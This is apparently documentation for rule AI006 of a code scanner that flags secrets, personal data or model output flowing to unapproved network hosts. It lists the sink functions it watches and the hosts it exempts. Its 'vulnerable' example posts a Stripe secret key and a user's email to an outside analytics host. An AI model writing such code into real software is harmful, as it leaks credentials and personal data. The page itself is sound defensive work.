AI006 · STOA-EXFIL-NETWORK
Identifier suggesting sensitive data observed flowing to a network egress sink.
- OWASP: LLM06 Sensitive Information Disclosure (v1.1); LLM02 (2025).
- Severity: high (secret) / medium (PII). Gates: no (opt-in).
- Kind: data-flow (needs the AST layer).
Detection
A taint chain from a sensitive source (the same secret/PII sources as AI004, plus model-output-tainted values) into a network egress sink that is not a recognized LLM provider:
- Sinks:
requests.post/put/patch,httpx.*,urlopen,smtplib
sendmail, fetch(POST), axios.post, put_object, websocket send. Taint can enter via the payload or the URL/host.
- Not flagged: provider endpoints (those are AI004's jurisdiction —
supersedes applies), localhost / RFC-1918, and hosts in [rules.AI006].allowed_hosts.
- Dynamic destinations (URL from a variable) still fire, one confidence tier
lower, tagged dynamic_destination — an unknown destination is more concerning, but the claim must be weaker.
Vulnerable → remediated
# VULNERABLE — credential and PII posted to an unrecognized host
payload = {"user": user.email, "key": os.environ["STRIPE_SECRET_KEY"]}
requests.post("https://telemetry.thirdparty-analytics.io/v1/events", json=payload)
# REMEDIATED — sensitive fields stripped; destination allowlisted in stoa.toml
requests.post("https://api.internal.corp/events", json={"user_hash": h(user.email)})[rules.AI006]
allowed_hosts = ["api.internal.corp", "hooks.slack.com"]Finding message
A value suggesting {a credential / personal data / model output} flows into a network egress sink, a destination not in the recognized-provider set or the allowed_hosts list. Identifier names and flow shape suggest — but do not prove — sensitive egress (OWASP LLM06). If org-approved, add the destination to
[rules.AI006].allowed_hosts.Suppress: # stoa: ignore[AI006] reason